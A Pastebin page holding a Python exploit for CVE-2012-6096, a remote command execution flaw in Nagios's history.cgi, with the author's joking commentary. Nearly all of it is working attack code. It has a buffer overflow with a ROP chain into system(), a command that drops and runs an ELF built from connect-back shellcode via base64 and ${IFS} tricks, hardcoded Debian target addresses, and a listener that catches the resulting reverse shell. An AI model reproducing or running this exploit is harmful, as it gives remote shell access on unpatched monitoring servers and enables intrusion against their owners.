Want more features on Pastebin? Sign Up, it's FREE!
Guest

CVE-2012-6096 exploit

By: a guest on Jan 10th, 2013  |  syntax: Python  |  size: 6.56 KB  |  views: 5,924  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/python
  2. #
  3. # CVE-2012-6096 - Nagios history.cgi Remote Command Execution
  4. # ===========================================================
  5. # Another year, another reincarnation of classic and trivial
  6. # bugs to exploit. This time we attack Nagios.. or more
  7. # specifically, one of its CGI scripts. [1]
  8. #
  9. # The Nagios code is an amazing monster. It reminds me a
  10. # lot of some of my early experiments in C, back when I
  11. # still had no clue what I was doing. (Ok, fair enough,
  12. # I still don't, heheh.)
  13. #
  14. # Ok, I'll come clean. This exploit doesn't exactly
  15. # defeat FORTIFY. This approach is likely to work just FINE
  16. # on other crippled distro's though, think of stuff like
  17. # ArchLinux, Slackware, and all those Gentoo kids twiddling
  18. # their CFLAGS. [2] (Oh and hey, BSD and stuff!)
  19. #
  20. # I do some very stupid shit(tm) here that might make an
  21. # exploit coder or two cringe. My sincere apologies for that.
  22. #
  23. # Cold beer goes out to my friends who are still practicing
  24. # this dying but interesting type of art:
  25. #
  26. #   * brainsmoke * masc * iZsh * skier_ * steve *
  27. #
  28. # -- blasty <blasty@fail0verflow.com> / 2013-01-08
  29. #
  30. # References:
  31. # [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109
  32. # [2] http://www.funroll-loops.info/
  33. #
  34. # P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!
  35. # Next time you rebrand an exploit at least show some diligence and
  36. # add some additional targets or improvements, so we can all profit!
  37. #
  38. # P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!
  39. #
  40.  
  41. import os, sys, socket, struct, urllib, threading, SocketServer, time
  42. from base64 import b64encode
  43.  
  44. SocketServer.TCPServer.allow_reuse_address = True
  45.  
  46. targets = [
  47.         {
  48.                 "name"       : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)",
  49.                 "smash_len"  : 0xc37,
  50.                 "unescape"   : 0x0804b620,
  51.                 "popret"     : 0x08048fe4,
  52.                 "hostbuf"    : 0x080727a0,
  53.                 "system_plt" : 0x08048c7c
  54.         }
  55. ]
  56.  
  57. def u32h(v):
  58.         return struct.pack("<L", v).encode('hex')
  59.  
  60. def u32(v, hex = False):
  61.         return struct.pack("<L", v)
  62.  
  63. # Tiny ELF stub based on:
  64. # http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
  65. def make_elf(sc):
  66.         elf_head = \
  67.                 "7f454c46010101000000000000000000" + \
  68.                 "02000300010000005480040834000000" + \
  69.                 "00000000000000003400200001000000" + \
  70.                 "00000000010000000000000000800408" + \
  71.                 "00800408" + u32h(0x54+len(sc))*2  + \
  72.                 "0500000000100000"
  73.  
  74.         return elf_head.decode("hex") + sc
  75.  
  76. # interactive connectback listener
  77. class connectback_shell(SocketServer.BaseRequestHandler):
  78.         def handle(self):
  79.                 print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0]
  80.                 print "[**] This shell is powered by insane amounts of illegal substances"
  81.  
  82.                 s = self.request
  83.  
  84.                 import termios, tty, select, os
  85.                 old_settings = termios.tcgetattr(0)
  86.  
  87.                 try:
  88.                         tty.setcbreak(0)
  89.                         c = True
  90.  
  91.                         os.write(s.fileno(), "id\nuname -a\n")
  92.  
  93.                         while c:
  94.                                 for i in select.select([0, s.fileno()], [], [], 0)[0]:
  95.                                         c = os.read(i, 1024)
  96.                                         if c:
  97.                                                 if i == 0:
  98.                                                         os.write(1, c)
  99.  
  100.                                                 os.write(s.fileno() if i == 0 else 1, c)
  101.                 except KeyboardInterrupt: pass
  102.                 finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
  103.  
  104.                 return
  105.  
  106. class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
  107.         pass
  108.  
  109. if len(sys.argv) != 5:
  110.         print "\n  >> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>"
  111.         print "  >> \"Jetzt geht's Nagi-los!\"\n"
  112.         print "  usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0])
  113.         print "  targets:"
  114.  
  115.         i = 0
  116.  
  117.         for target in targets:
  118.                 print " %02d) %s" % (i, target['name'])
  119.                 i = i+1
  120.  
  121.         print ""
  122.         sys.exit(-1)
  123.  
  124. target_no = int(sys.argv[4])
  125.  
  126. if target_no < 0 or target_no > len(targets):
  127.         print "Invalid target specified"
  128.         sys.exit(-1)
  129.  
  130. target = targets[ int(sys.argv[4]) ]
  131.  
  132. # comment this shit if you want to setup your own listener
  133. server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell)
  134. server_thread = threading.Thread(target=server.serve_forever)
  135. server_thread.daemon = True
  136. server_thread.start()
  137.  
  138. # shellcode to be executed
  139. # vanilla x86/linux connectback written by a dutch gentleman
  140. # close to a decade ago.
  141. cback = \
  142.         "31c031db31c951b10651b10151b10251" + \
  143.         "89e1b301b066cd8089c231c031c95151" + \
  144.         "68badc0ded6668b0efb102665189e7b3" + \
  145.         "1053575289e1b303b066cd8031c939c1" + \
  146.         "740631c0b001cd8031c0b03f89d3cd80" + \
  147.         "31c0b03f89d3b101cd8031c0b03f89d3" + \
  148.         "b102cd8031c031d250686e2f7368682f" + \
  149.         "2f626989e3505389e1b00bcd8031c0b0" + \
  150.         "01cd80"
  151.  
  152. cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex"))
  153. cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex"))
  154.  
  155. # Eww.. so there's some characters that dont survive the trip..
  156. # yes, even with the unescape() call in our return-chain..
  157. # initially I was going to use some /dev/tcp based connectback..
  158. # but /dev/tcp isn't available/accesible everywhere, so instead
  159. # we drop an ELF into /tmp and execute that. The '>' characters
  160. # also doesn't survive the trip so we work around this by using
  161. # the tee(1) utility.
  162. # If your target has a /tmp that is mounted with noexec flag,
  163. # is severely firewalled or guarded by trained (watch)dogs..
  164. # you might want to reconsider this approach!
  165. cmd  = \
  166.         "rm -rf /tmp/x;" + \
  167.         "echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \
  168.         "base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;"
  169.  
  170. # Spaces (0x20) are also a problem, they always ends up as '+' :-(
  171. # so apply some olde trick and rely on $IFS for argv separation
  172. cmd = cmd.replace(" ", "${IFS}")
  173.  
  174. # Basic return-2-whatever/ROP chain.
  175. # We return into cgi_input_unescape() to get rid of
  176. # URL escaping in a static buffer we control, and then
  177. # we return into system@plt for the moneyshot.
  178. #
  179. # Ergo sum:
  180. # There's no memoryleak or whatever needed to leak libc
  181. # base and bypass ASLR.. This entire Nagios PoS is stringed
  182. # together by system() calls, so pretty much every single one
  183. # of their little silly binaries comes with a PLT entry for
  184. # system(), huzzah!
  185. rop = [
  186.         u32(target['unescape']),
  187.         u32(target['popret']),
  188.         u32(target['hostbuf']),
  189.         u32(target['system_plt']),
  190.         u32(0xdeafbabe),
  191.         u32(target['hostbuf'])
  192. ]
  193.  
  194. # Yes.. urllib, so it supports HTTPS, basic-auth and whatnot
  195. # out of the box. Building HTTP requests from scratch is so 90ies..
  196. params = urllib.urlencode({
  197.         'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop)
  198. })
  199.  
  200. print "[>>] CL1Q .."
  201. f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params)
  202.  
  203. print "[>>] CL4Q .."
  204. f.read()
  205.  
  206. # TRIAL PERIOD ACTIVE, LOL!
  207. time.sleep(0x666)
  208.  
  209. server.shutdown()
clone this paste RAW Paste Data